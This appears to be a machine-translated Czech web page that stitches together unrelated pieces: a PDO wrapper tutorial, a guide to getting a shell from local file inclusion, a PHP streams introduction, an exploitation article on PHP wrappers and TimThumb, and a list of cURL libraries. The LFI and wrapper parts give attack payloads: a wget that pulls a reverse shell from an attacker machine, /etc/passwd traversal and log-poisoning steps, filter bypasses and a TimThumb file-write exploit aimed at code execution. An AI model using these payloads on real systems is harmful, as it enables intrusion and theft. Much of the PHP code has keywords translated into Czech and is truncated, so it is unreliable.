Úvod do PHP streamů. Jak lze obaly PHP použít k napadení webových aplikací Co obsahuje ZIP


Hlavní nevýhodou PDO i mysqli při práci s připravenými výrazy je to, že jejich vestavěné funkce jsou navrženy pro vícenásobné provedení připraveného dotazu (když se příprava volá pouze jednou, a poté se mnohokrát s různými daty volá příkaz execute()) . Proto jsou tak upovídaní. Potíž je ale v tom, že v praxi v PHP je zcela vzácné takové požadavky splnit. Výsledkem je, že pro většinu dotazů musíte pokaždé napsat zbytečný kód:

$stmt = $pdo -> připravit ($sql );
$stmt -> vykonat ($params);
$data = $stmt -> fetch();

Jak se říká, na co bojovali, na to narazili. Ve srovnání se stále nezapomenutelnou mysql_query() nedošlo k žádné redukci kódu. Opravdu bych chtěl!
Zároveň Wes Furlong zahrál další trik na uživatele PDO - execute() vrací hloupou booleovskou hodnotu namísto vracení příkazu, což by umožnilo implementovat řetězení metod a získat krásný kód jako

$data = $pdo -> připravit ($sql )-> spustit ($params )-> načíst ();

Ale bohužel, i tento přístup je téměř nedostupný. A v každém případě je to nadbytečné, protože ve většině případů nepotřebujeme ani připravovat, ani provádět - stačí hloupě provést ten zatracený požadavek a předat do něj zatracená data pro zástupné symboly.

Abychom tedy omezili množství zápisu, přidáme do PDO jednu funkci run(), jejíž celá funkce se zredukuje na výše uvedený kód - spusťte připravit/provést a vrátit příkaz:

třída MyPDO rozšiřuje PDO
{
spuštění veřejné funkce ($sql, $args = NULL)
{
$stmt = $this -> připravit ($sql );
$stmt -> vykonat ($args);
vrátit $stmt ;
}
}

A z výpisu můžeme získat jakákoli data jakýmkoli standardním způsobem:

$data = $pdo -> spustit ( "SELECT * FROM users WHERE sex="male"")->fetchAll();

Problém N2, dostupnost
Dalším nepříjemným zjištěním pro začátečníky je, že PDO nelze získat nikde ve skriptu, jako například mysql_query().

Dalším zlepšením by proto bylo zavedení přístupu k CHOP prostřednictvím statického singletonu. Tento vzor je na internetu často kritizován, a to z dobrého důvodu. Zde ale musíte pochopit jednu jednoduchou věc:
Pokud je váš kód náchylný k problémům, které může způsobit singleton, znamená to, že již používáte ovladač databáze na vysoké úrovni, pravděpodobně z populárního frameworku.
Ale pokud jste se právě vyhrabali z jeskyně mysql_query() a zvykli jste si na psaní kódu, aniž byste si dělali starosti s předáváním spojení, pak nutnost nosit s sebou instanci PDO bude vážným testem. Nehledě na to, že samotná syntaxe PDO a samotné připravené výrazy netvoří tak křehký vstupní práh. Zkusme si tedy pilulku osladit možností přístupu k databázi odkudkoli ve skriptu, stejně jako za starých dobrých časů.

Konečným výsledkem je velmi kompaktní doplněk PDO, který se sice snadno používá jako mysql_query(), ale zároveň redukuje kód a poskytuje bezpečnost připravených výrazů.

Kód

definovat ("DB_HOST" , "localhost" );
definovat ("DB_NAME" , "test" );
definovat ("DB_USER" , "root" );
definovat ("DB_PASS" , "" );
definovat ("DB_CHAR" , "utf8" );

třída DB
{
chráněný statický $instance = null ;

Veřejná funkce __construct()()
veřejná funkce __clone()()

Veřejná instance statické funkce()
{
if (self :: $instance === null )
{
$opt = pole(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => PRAVDA,
);
$dsn = "mysql:host=" . DB_HOST. ";dbname=" . DB_NAME. ";charset=" . DB_CHAR ;
self :: $instance = nové PDO ($dsn, DB_USER, DB_PASS, $opt);
}
return self :: $instance ;
}

Veřejná statická funkce __callStatic ($method, $args)
{
return call_user_func_array (pole(self :: instance(), $metoda), $args );
}

Spuštění veřejné statické funkce ($sql, $args =)
{
pokud (! $args)
{
return self::instance()->query($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> vykonat ($args);
vrátit $stmt ;
}
}

Příklady

# Vytvořte tabulku
DB::dotaz( "CREATE dočasný TABLE pdowrapper (id int auto_increment primární klíč, název varchar(255))");

# vícenásobné provedení připravených výrazů
$stmt = DB::prepare( "INSERT INTO pdowrapper VALUES (NULL, ?)");
foreach ([ "Sam" , "Bob" , "Joe" ] jako $name )
{
$stmt -> execute([ $name ]);
}
var_dump(DB::lastInsertId());
//řetězec(1) "3"

# Příjem řetězců ve smyčce
$stmt = DB::run("SELECT * FROM pdowrapper");
while ($row = $stmt -> načíst (PDO :: FETCH_LAZY ))
{
echo $row [ "jméno" ], "," ;
echo $row -> name , "," ;
echo $řádek [ 1 ], PHP_EOL ;
}
/*
Sam, Sam, Sam
Bob, Bob, Bob
Joe, Joe, Joe
*/

# Získejte jeden řádek
$id = 1 ;
$row = DB::run( "SELECT * FROM pdowrapper WHERE id=?", [ $id ])-> fetch();
var_export($řádek);
/*
pole (
"id" => "1",
"jméno" => "Sam",
*/

# Získání jednoho pole
$name = DB::run( "VYBRAT jméno FROM pdowrapper WHERE id=?", [ $id ])-> fetchColumn();
var_dump($name);
//string(3) "Sam"

# Získejte všechny řetězce do pole
$all = DB::run( "SELECT jméno, id FROM pdowrapper")->fetchAll(PDO::FETCH_KEY_PAIR);
var_export($all);
/*
pole (
"Sam" => "1",
"Bob" => "2",
"Joe" => "3",
*/

# Aktualizujte tabulku
$new = "Žalovat" ;
$stmt = DB::run( "UPDATE pdowrapper SET name=? KDE id=?", [ $new , $id ]);
var_dump($stmt -> rowCount());
//int(1)

LFI znamená Místní soubor obsahuje- je to zranitelnost místního začlenění souborů, která útočníkovi umožňuje zahrnout soubory, které existují na cílovém webovém serveru. Toho se obvykle využívá zneužíváním mechanismů dynamického začleňování souborů, které nedezinfikují vstup uživatele.

Skripty, které berou názvy souborů jako parametry bez dezinfekce uživatelského vstupu, jsou dobrými kandidáty na zranitelnosti LFI, dobrým příkladem by mohl být následující PHP skript foo.php?file=image.jpg, který bere jako parametr image.jpg. Útočník by jednoduše nahradil image.jpg a vložil užitečné zatížení. Normálně se používá užitečné zatížení pro procházení adresářů, které unikne z adresáře skriptu a projde adresářovou strukturou souborového systému, čímž odhalí citlivé soubory, jako je foo.php?file=../../../../../../.. /etc/passwd nebo citlivé soubory v rámci samotné webové aplikace. Odhalování citlivých informací nebo konfiguračních souborů obsahujících uživatelská jména a hesla SQL.

Poznámka: V některých případech, v závislosti na povaze zranitelnosti LFI, je možné spustit spustitelné soubory systému.

Jak získat Shell z LFI

Níže jsou uvedeny některé techniky, které jsem v minulosti používal k získání shellu na systémech s odhalenými zranitelnými LFI skripty.

Path Traversal alias Directory Traversal

Jak bylo uvedeno výše, projděte adresářovou strukturu souborového systému, abyste odhalili citlivé informace o systému, které vám mohou pomoci získat shell, uživatelská jména / hesla atd.

PHP Wrapper očekává::// LFI

Umožňuje provádění systémových příkazů přes php očekávat wrapper, bohužel to není ve výchozím nastavení povoleno.

Příklad očekávání PHP:

Http://127.0.0.1/fileincl/example1.php?page= expect://ls

Níže je uvedena chyba přijatá, pokud je obálka očekávání PHP zakázána:

Varování : include () : Nelze najít obálku „očekávat“ – nezapomněli jste ji povolit, když jste< br >nakonfigurované PHP? ve /var/www/fileincl/example1. php on line 7 Varování: include () : Nelze najít< br >wrapper "očekávat" - nezapomněli jste jej povolit při konfiguraci PHP? v< br >/var/www/fileincl/example1. php na řádku 7 Varování: include (očekávejte: //ls): nepodařilo se otevřít stream: Žádný takový soubor nebo adresář v /var/www/fileincl/example1. php on line 7 Varování: include () : Selhalo otevření "expect://ls" pro zahrnutí (include_path = ".:/usr/share/php:/usr/share/pear") ve /var/www/fileincl/example1. php na řádku 7

PHP Wrapper php://soubor

Další obal PHP, php://input, vaše užitečné zatížení je odesláno v požadavku POST pomocí curl, burp nebo hackbar k poskytnutí dat příspěvku je pravděpodobně nejjednodušší možností.

Http://192.168.183.128/fileincl/example1.php?page=php://vstup

Po datové zátěži zkuste pro začátek něco jednoduchého, například:

Poté zkuste stáhnout a z vašeho útočícího stroje pomocí:

"wget ​​​​http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php") ; ?>

Po nahrání spusťte reverzní shell na http://192.168.183.129/shell.php

PHP Wrapper php://filtr

Další obal PHP, php://filter, v tomto příkladu je výstup kódován pomocí base64, takže budete muset výstup dekódovat.

Http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ Metoda LFI

Pokud je možné zahrnout /proc/self/environ z vašeho zranitelného skriptu LFI, pak lze spuštění kódu využít manipulací s parametrem User Agent pomocí Burp. Po zavedení kódu PHP lze /proc/self/environ spustit prostřednictvím vašeho zranitelného skriptu LFI.

/proc/self/fd/ Metoda LFI

Podobně jako u předchozí metody /proc/self/environ je možné vložit kód do souborů protokolu proc, které lze spustit prostřednictvím vašeho zranitelného skriptu LFI. Obvykle byste použili burp nebo curl k vložení PHP kódu do refereru.

Tato metoda je trochu složitější, protože soubor proc, který obsahuje informace o chybovém protokolu Apache, se mění pod /proc/self/fd/, např. /proc/self/fd/2 , /proc/self/fd/10 atd. Doporučil bych brutálně vynutit adresářovou strukturu adresáře /proc/self/fd/ pomocí seznamu pravděpodobných proc souborů Burp Intruder + FuzzDB LFI-FD-Check.txt, pak můžete sledovat vrácené velikosti stránek a zkoumat.

fimap LFI Pen Testing Tool

fimap je nástroj používaný při testech per, který automatizuje výše uvedené procesy zjišťování a využívání skriptů LFI. Po objevení zranitelného LFI skriptu fimap provede výčet místního souborového systému a vyhledá zapisovatelné soubory protokolu nebo umístění, jako je /proc/self/environ . Dalším nástrojem, který běžně používají testy per k automatizaci zjišťování LFI, je Kaliův dotdotpwn, který funguje podobným způsobem.

fimap + phpinfo() Exploit

Fimap využívá vytváření dočasných souborů PHP prostřednictvím Local File Inclusion tím, že zneužívá chybu v odhalení informací PHPinfo() k odhalení umístění vytvořeného dočasného souboru.

Pokud je přítomen soubor phpinfo(), je obvykle možné získat shell, pokud neznáte umístění souboru phpinfo, který jej může najít fimap, nebo můžete použít nástroj jako OWASP DirBuster.

Při programování musíte neustále pracovat s různými zdroji: soubory, sokety, http připojení. A všechny mají nějaké přístupové rozhraní, často vzájemně nekompatibilní. Za účelem odstranění těchto nesrovnalostí a sjednocení práce s různými datovými zdroji počínaje PHP 4.3 byly vynalezeny PHP Streams - streamy.

Ačkoli PHP 4.3 vyšlo už dávno, mnoho PHP programátoři mít velmi nejasnou představu vlákna v PHP a pokračujte v používání KUČERA všude, i když uvnitř PHP Ve formuláři je k tomu pohodlnější alternativa Kontext streamu.

Existují následující typy streamů PHP:

  • Soubor na pevném disku;
  • HTTP připojení s webovou stránkou;
  • Sloučenina UDP se serverem;
  • ZIP soubor;
  • soubor * .mp3.

Co mají všechny tyto zdroje společného? Všechny se dají číst a psát, tzn. operace čtení a zápisu lze aplikovat na všechny z nich. Platnost PHP vlákna Trik je v tom, že ke všem těmto zdrojům můžete přistupovat pomocí stejné sady funkcí. Je to velmi pohodlné. Pokud se taková potřeba náhle objeví, můžete si také napsat vlastní implementaci obsluhy vláken "obálka proudu". Kromě čtení a psaní, streamy v PHP také umožňuje provádět další operace, jako je přejmenování a mazání.

Programování zapnuto PHP, S vlákny jste se již setkali, i když jste si to možná neuvědomovali. Takže funkce, které pracují se streamy, jsou fopen(), file_get_contents(), soubor() atd. Takže vlastně už celou tu dobu používáte proudy souborů, a to zcela transparentně.

Chcete-li pracovat s jiným typem streamu, musíte zadat jeho protokol (obal) následujícím způsobem: wrapper://some_stream_resource, Kde obal://- to je například http://, soubor://, ftp://, zip:// atd. a nějaký_stream_zdroj - URI, identifikuje, co chcete otevřít. URI neklade na formát žádná omezení. Příklady:

  • http://site/php-stream-introduction.html
  • soubor://C:/Projects/rostov-on-don.jpg
  • ftp://user: [e-mail chráněný]/pub/file.txt
  • mpeg://soubor:///hudba/skladba.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Mějte však na paměti, že ne všechny protokoly a handlery vám mohou fungovat, protože podpora některých shellů závisí na vašem nastavení. Proto, abyste zjistili, které protokoly jsou podporovány, musíte spustit následující skript:

// seznam registrovaných soketových transportů
print_r(stream_get_transports());

// seznam registrovaných vláken (obslužných programů)
print_r(stream_get_wrappers());

// seznam registrovaných filtrů
print_r(stream_get_filters();

Kontexty PHP vláken

Při požadavku http je často potřeba zadat další parametry. Kontexty vláken řeší tento problém tím, že umožňují zadat další parametry. Mnoho funkcí pracujících s vlákny má volitelný parametr kontextu vlákna. Podívejme se na funkci file_get_contents():

Řetězec file_get_contents(řetězec $filename [, int $flags = 0 [, zdroj $context [, int $offset = -1 [, int $maxlen = -1]]]])

Jak vidíte, kontext vlákna je předán jako třetí parametr. Kontexty se vytvářejí pomocí funkce stream_context_create(), který vezme pole a vrátí kontextový prostředek.

$options = array(
"http" => pole(
"metoda" => "GET",
"header" => "Přijmout-jazyk: en\r\n".
"Cookie: foo = bar\r\n"
);

$kontext = stream_context_create($options);

// Použití tohoto s file_get_contents ...
echo file_get_contents("http://www.example.com/", 0, $kontext);

Dnes jsme se tedy dozvěděli, co to je vlákna a kontexty vláken v PHP, podívali se na příklady jejich použití a v následujících článcích si povíme něco o metadatech streamu a vytvoříme si vlastní handler.

Flexibilita programovacího jazyka zvyšuje pohodlí vývojářů, ale také otevírá nové útočné vektory. Vývojáři PHP často používají tzv. wrappery a ani je nenapadne, že to může vést k obejití bezpečnostních filtrů zabudovaných v aplikaci a například umožnit spuštění libovolného kódu na serveru. Dnes si povíme něco o wrapperech, jejich vlastnostech a hrozbách s nimi spojených.

VAROVÁNÍ

Veškeré informace jsou poskytovány pouze pro informační účely. Redakce ani autor nenesou odpovědnost za případné škody způsobené použitím materiálů v tomto článku.

Intro

O zranitelnostech souvisejících s mechanismem wrapper implementovaným v PHP se diskutovalo poměrně dlouho. Odkazy na ně jsou v OWASP TOP 10 a WASC TCv2. Řada vlastností implementace kódování dat však vede k tomu, že i aplikace vyvinuté s ohledem na bezpečnostní požadavky mohou obsahovat zranitelnosti (včetně kritických). V tomto článku se nejprve krátce podíváme na to, co jsou obaly PHP a jak mohou být užitečné pro programátory. Následně analyzujeme jejich vlastnosti, které umožňují obejít bezpečnostní filtry zabudované v aplikaci a realizovat útoky související s neoprávněným přístupem do souborového systému a spouštěním libovolného kódu.

Obaly

PHP má něco jako streamy, které se objevily v interpretu počínaje verzí 4.3.0. Jedná se o abstraktní vrstvu pro práci se soubory, sítí, komprimovanými daty a dalšími zdroji pomocí jediné sady funkcí. Ve své nejjednodušší definici je vlákno prostředek, který se chová „jako vlákno“. Tedy zdroj, ze kterého můžete číst, do kterého můžete psát a v rámci kterého se můžete pohybovat. Uvažujme například funkci fopen. Podle oficiální dokumentace má následující syntaxi:

Zdroj fopen(řetězec $filename, string $mode [, bool $use_include_path = false [, zdroj $kontext ]])

kde $filename může být cesta k místnímu souboru. Je dobře známo, že obsah místních souborů můžete získat takto:

$handle = fopen($soubor, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) print $contents;

Ale kromě triviální cesty k souboru lze použít takzvané wrappery. Nejlepší způsob, jak vysvětlit, co to je, je uvést několik příkladů. Takže pomocí obalů prostřednictvím stejné funkce fopen je možné:

  • stahování souborů z FTP: ftp://user: [e-mail chráněný]/pub/soubor.txt;
  • kontaktovat, pokud je k nim omezený přístup, na server-stav/server-info přes IP: http://127.0.0.1/server-status;
  • popisovače přístupových souborů otevřené pro čtení (PHP >= 5.3.6): php://fd/XXX;
  • a dokonce spouštět příkazy OS (pokud je nainstalováno rozšíření očekávat): expect://ls.

Obálky (také známé jako manipulátory protokolů nebo obaly) říkají funkcím, jak zpracovávat data z proudu. Proto lze funkce, které podporují wrappery, použít k získání dat z různých zdrojů. Wrappers umožňují flexibilně a pohodlně zpracovávat data vstupující do programu prostřednictvím libovolného streamu a v případě potřeby je také upravovat.

V uvažovaném příkladu byly obaly použity v režimu čtení. Pokud jsou data zaznamenávána, pak v tomto případě mohou wrappery rozšířit možnosti mnoha funkcí. Například funkce copy() podporuje wrappery v obou svých argumentech, a pokud druhý argument používá php://output wrapper, pak je zkopírovaný soubor odeslán do výstupní vyrovnávací paměti. Funkce copy() vám tedy umožňuje nejen kopírovat soubory, ale také je číst.

Copy("/etc/passwd" , "php://output");

Podobně můžete použít funkci file_put_contents a jakoukoli další funkci, která podporuje wrapper v režimu zápisu:

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6 zavedlo obal php://fd, který poskytuje přímý přístup k deskriptorům souborů. Pokud je PHP nainstalováno jako modul Apache, php://fd wrapper umožňuje zapisovat libovolná data do access_log/error_log (obvykle jsou oprávnění k těmto souborům 644 a pouze root může zapisovat přímo do nich).

Nutno říci, že PHP má vestavěných wrapperů poměrně dost, ale můžete si vytvořit a registrovat vlastní wrappery pomocí funkce stream_wrapper_register. Podrobnější informace najdete na oficiálních stránkách PHP. Úplný seznam dostupných wrapperů najdete v sekci phpinfo - Registrované PHP streamy.

Některé obaly mají nezdokumentované funkce, které vám umožňují efektivněji využívat zranitelnosti webových aplikací. Právě těmito vlastnostmi se dnes budeme zabývat.

Co ZIP obsahuje?

ZIP je populární formát pro kompresi dat a archivaci souborů. Podpora tohoto formátu je implementována ve všech moderních operačních systémech a knihovny pro práci s ním byly napsány pro většinu programovacích jazyků. V PHP je vhodné pro práci s tímto formátem použít modul zip.

V systémech Linux je modul zip dostupný, pokud je PHP zkompilováno s volbou --enable-zip. Archivovat můžete nejen jednotlivé soubory, ale i celé adresáře; Pro zachování adresářové struktury je přípustné používat v názvech souborů přidaných do archivu lomítko /. Další důležitou vlastností modulu zip je schopnost zpracovávat soubory s libovolným názvem: hlavní věcí je, že obsahem souboru je správně vytvořený zip archiv.

Vytvoření zip archivu $zip = new ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "zavřít();

Jakmile je archiv zip vytvořen, můžete použít obal zip:// pro přímý přístup k souborům v archivu.

Čtení souboru z archivu zip print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

Schopnost archivovat soubory s lomítkem v názvech vám umožňuje zneužít zranitelnosti Remote File Include v nepřítomnosti nulového bajtu. Zvažte například následující jednoduchý skript:

$s = $_POST["cesta"]; include $s."/header.html";

Spuštění kódu můžete v tomto případě samozřejmě dosáhnout různými způsoby. Ale použití wrapperů http://, ftp://, data:// je omezeno direktivou allow_url_include a použití nulového bajtu při zahrnutí lokálních souborů s největší pravděpodobností zabrání direktiva magic_quotes_gpc. A může se dokonce zdát, že s allow_url_include=Off a magic_quotes_gpc=On neexistuje způsob, jak tuto zranitelnost zneužít. Existuje však i jiný způsob, dosud veřejně nepopsaný!

Pro začátek předpokládejme, že je možné vytvářet soubory na napadeném serveru. Poté, vytvořením zip archivu, jak je ukázáno v příkladu výše, je možné spustit PHP kód pomocí zip:// wrapper.

Cesta=zip:///tmp/jakykoliv_nazev_zip_arxiv#/my

Pokud není možné vytvořit požadovaný soubor pomocí funkce PHP, můžete použít dočasné soubory, které PHP vytvoří při načítání obsahu prostřednictvím formuláře HTML. Cestu k dočasnému souboru lze najít z phpinfo(). Podrobnější informace o tom, jak používat dočasné soubory při zneužívání zranitelností, jako je LFI/RFI, naleznete na fóru rdot.org. Je důležité si uvědomit, že direktiva allow_url_fopen neomezuje použití zip:// wrapper.

Kde jsou moje data://?

Data:// wrapper přitahuje pozornost odborníků na webovou bezpečnost od svého vzniku. Oficiální dokumentace doporučuje používat tento obal ve velmi omezené formě. Ale podle specifikace RFC 2379 tento obal umožňuje rozsáhlejší syntaxi:

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ typ "/" podtyp ] *(";" parametr) data:= *urlchar parameter:= atribut "=" hodnota

V tomto případě může typ média buď zcela chybět, nebo může být vyplněn libovolnými hodnotami:

Data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Tuto funkci wrapper lze použít k obcházení kontrol a filtrů. Například populární skript TimThumb v1.x má následující filtr:

Funkce validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; return preg_match ($pattern, $url); )

Tuto kontrolu můžete obejít následovně:

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

V PHP existuje funkce s názvem stream_get_meta_data(). Podle oficiální dokumentace extrahuje metadata ze streamů a ukazatelů souborů:

Pole stream_get_meta_data (zdroj $stream)

Vrácené pole přitom obsahuje prvky s jasně definovanými klíči a úkol přidávat do tohoto pole nové prvky vypadá na první pohled značně problematicky. Ale s data:// wrapper můžete manipulovat s tímto polem docela snadno! Jak? Uvedu příklad:

$heslo = "tajné"; $soubor = $_POST["soubor"]; $fp = fopen($soubor, "r"); extrakt(stream_get_meta_data($fp)); if ($mediatype === "text/plain") ( ... ) if ($_COOKIE["admin"] === $password) ( ... )

Pokud použijete obal dat v proměnné $file namísto místního názvu souboru,

POST DATA: file=data://text/plain;password=mysecret;base64

pak můžete snadno přepsat parametr $password a pomocí cookies předat autorizaci.

Cookie: admin=mysecret

Studený obklad

Podle dokumentace vám wrapper compress.zlib:// umožňuje rozbalit archivy gz. Pokud použijete tento obal ke zpracování dat, která nejsou archivem zlib, budou data vrácena beze změny.

Readfile("compress.zlib:///etc/hosts");

"Velmi nápomocný!" - možná si myslíte :). Teď bude chladněji. Pokud jste programovali PHP pro web, pravděpodobně znáte funkci prase_url(). Dovolte mi připomenout, že tato funkce analyzuje adresy URL. A zde je jeden zajímavý bod: vstup funkce může být poskytnut nejen s URL, ale také s řetězcem spíše obecného typu:

Print_r(parse_url("anysheme://anysite.com/;http://w?v@l=!"));

Díky této funkci můžete obejít různé kontroly a filtry založené na funkci parse_url pomocí multifunkčních obalů. Zvažte například následující skript, který podle vývojářů dokáže stahovat soubory pouze z důvěryhodného hostitele img.youtube.com.

$url_info = parse_url($_POST["zdroj"]); if ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["cesta"], 4)); copy($ src, "./".$name); )

V normálním režimu se náhledy z img.youtube.com načítají následovně:

DATA PŘÍSPĚVKU: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

V tomto případě lze filtr obejít také pomocí wrapperu compress.zlib://.

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

Kromě toho je docela snadné obejít filtr názvu hostitele a nahrát soubor s libovolným názvem a obsahem na server pomocí obálky data://, o které jsme hovořili dříve:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

V tomto případě budou místní soubory zkopírovány do složky náhledu: pokud je tato složka přístupná pro přímý přístup z prohlížeče, bude možné prohlížet systémové soubory. Tento příklad ukazuje, že použití obalů data:// a compress.zlib:// může být užitečné ve skriptech, které stahují soubory ze vzdálených hostitelů. Jedním z takových skriptů je TimThumb.


Zneužití zranitelných míst v TimThumb v1.x

TimThumb je populární obrázkový skript používaný v mnoha WordPress tématech a pluginech. V srpnu 2011 byla nalezena kritická chyba zabezpečení ve skriptu TimThumb v 1.32, který umožňuje nahrát na napadený server soubory s kódem PHP namísto obrázků z důvěryhodných hostitelů. Téměř přes noc se ve veřejné doméně objevil poradce, který podrobně popsal zneužití této zranitelnosti.

Podstata zranitelnosti spočívala v tom, že skript nesprávně porovnal URL se seznamem důvěryhodných hostitelů, ze kterých bylo možné stahovat obrázky. Chcete-li obejít filtry, například na důvěryhodném hostiteli blogger.com, bylo navrženo zaregistrovat doménu čtvrté úrovně obsahující adresu URL důvěryhodného hostitele, například blogger.com.attacker.com, a stahovat soubory z této domény.

Http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Tímto způsobem bylo možné zneužít zranitelnost až do verze 1.32 (revize 142). Ale novější verze byly také zranitelné. Podívejme se, jak se obrázky načítají ve verzi 1.34 (revize 145):

Funkce check_external ($src) ( .................. $filename = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $ název_souboru; if (!file_exists ($local_filepath)) ( if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ") !==false)( if (!validate_url ($src)) display_error ("neplatná url"); $url_info = parse_url ($src); ............ ...... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["query" ]); ... ................... if (function_exists ("curl_init")) ( ............... ...... $fh = fopen ($local_filepath, "w"); $ch = curl_init ($src); ....................... curl_setopt ($ch , CURLOPT_URL, $src); ................................ curl_setopt ($ch, CURLOPT_FILE, $fh); curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); ........................ .......... $file_infos = getimagesize ($local_filepath); if (prázdné ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"])) (odpojit ($local_filepath) ; touch($local_filepath); ......................

Je snadné vidět, že při navrhování funkce check_external došlo k několika logickým chybám:

  1. Po dokončení většiny kontrol přijme funkce parse_str nefiltrovaná uživatelská data. Můžete tedy přepsat proměnné, které byly dříve zkontrolovány: $url_info['host'], $src, $local_filepath. Proto je možné stahovat soubory z libovolného serveru.
  2. Po nahrání souboru na server se na základě getimagesize zkontroluje, zda se jedná o obrázek. Pokud kontrola selže, soubor je smazán. Ale protože je možné ovlivnit proměnnou $local_filepath, lze k místnímu souboru přistupovat pomocí wrapperů php://filter, compress.zlib://. A v tomto případě funkce odpojení nebude moci soubor odstranit.

Po nějakém kopání jsem napsal exploit pro stahování souborů. S libovolným názvem a libovolným obsahem na libovolné místo v systému.

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

Větev 1.x končí revizí 149, která také obsahuje zranitelnosti. V této revizi již byla funkce parse_str odstraněna a proto není možné přepisovat proměnné. Ale filtry, které kontrolují platnost adresy URL, kontrolují pouze výskyt odpovídajících podřetězců v řetězci $src. Navíc, pokud funkce curl_init není na napadeném serveru dostupná, pak se soubory stahují pomocí file_get_contents/file_put_contents. Je důležité poznamenat, že tyto funkce, na rozdíl od curl_init, podporují všechny wrappery dostupné v PHP.

If(!$img = file_get_contents($src)) ( display_error("vzdálený soubor pro " . $src . "nelze získat přístup. Je pravděpodobné, že oprávnění k souboru jsou omezena"); ) if(file_put_contents($local_filepath, $img) == FALSE) ( display_error ("chyba při zápisu dočasného souboru"); )

Pomocí obálky data:// tedy můžete obejít všechny filtry a vytvořit soubor v adresáři mezipaměti s libovolným obsahem:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Nebo použijte obálku compress.zlib:// ke zkopírování místního souboru do mezipaměti:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Výhodou je, že k souborům z mezipaměti lze přistupovat přímo, což má za následek dosažení RCE zápisem shellu pomocí datového obalu a také získáním obsahu místních souborů pomocí compress.zlib.

Místo závěru

Je zřejmé, že obaly zabudované v PHP poskytují skvělé příležitosti pro zneužití zranitelností, jako je manipulace se soubory. Ale stojí za zmínku, že ani ty nejjednodušší kontroly založené na funkcích file_exists, is_file, filesize vám neumožní používat wrappery. Také, když je nainstalována oprava Suhosin, ve výchozím nastavení není možné použít obaly v include, i když je direktiva allow_url_include nastavena na On. Na tomto místě téma používání wrapperů neuzavírám a v příštím článku budu mluvit o možnostech php://filter wrapperu na příkladech zneužití zranitelností v populárních webových enginech. Zůstaňte naladěni!

Jsou králové, ale někdy v závislosti na velikosti nebo důležitosti vašeho projektu nepotřebujete takovou knihovnu, ale pouze cURL. Jde o to, že cURL s výchozí syntaxí může být únavné pracovat, takže možná budete chtít použít wrapper, který zjednodušuje mnoho úkolů a usnadňuje provádění požadavků. Na tomto místě se s vámi chceme podělit o 7 nejlepších knihoven wrapperů dostupných pro cURL na webu.

7. Curl by dcai

Tento obal nabízí abstrakční vrstvu, která zjednodušuje syntaxi PHP cURL Library:

$http = nový dcai\curl; // povolení cache $http = new dcai\curl(array("cache"=>true)); // povolení cookie $http = new dcai\curl(array("cookie"=>true)); // povolení proxy $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"words", "name"=>"moodle")); // ZVEŘEJTE RAW $xml = " provést"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("soubor"="/var/www/test.txt");

6. CurlWrapper

CurlWrapper je flexibilní obalová třída pro rozšíření PHP cURL. Instanci knihovny můžete snadno inicializovat pomocí:

Zkuste ( $curl = new CurlWrapper(); ) catch (CurlWrapperException $e) ( echo $e->getMessage(); )

Objekt CurlWrapper podporuje 5 typů požadavků: HEAD, GET, POST, PUT a DELETE. Musíte zadat adresu URL, kterou chcete požádat, a volitelně zadat asociativní pole nebo řetězec dotazu proměnných, které se mají odeslat spolu s ní:

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. Rolování cURLx

Rolling Curl je snadno použitelný cURL Multi wrapper pro PHP s velmi cool názvem. Jeho cílem je co nejvíce zjednodušit souběžné požadavky http v PHP. Nejprve inicializujte třídu s maximálním počtem souběžných požadavků, které chcete otevřít najednou:

$RCX = new RollingCurlX(10);

Všechny požadavky po tomto budou zařazeny do fronty, dokud jeden nedokončí:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //nastavit na NULL, pokud nepoužíváte POST $user_data = ["foo", $whatever]; $options = ; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; //jak dlouho požadavek trval v milisekundách (float) $request_info; //pole vrácené curl_getinfo($ch), plus pár doplňků ) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

Odešlete žádosti. Blokuje do dokončení všech požadavků nebo do vypršení časového limitu:

$RCX->execute();

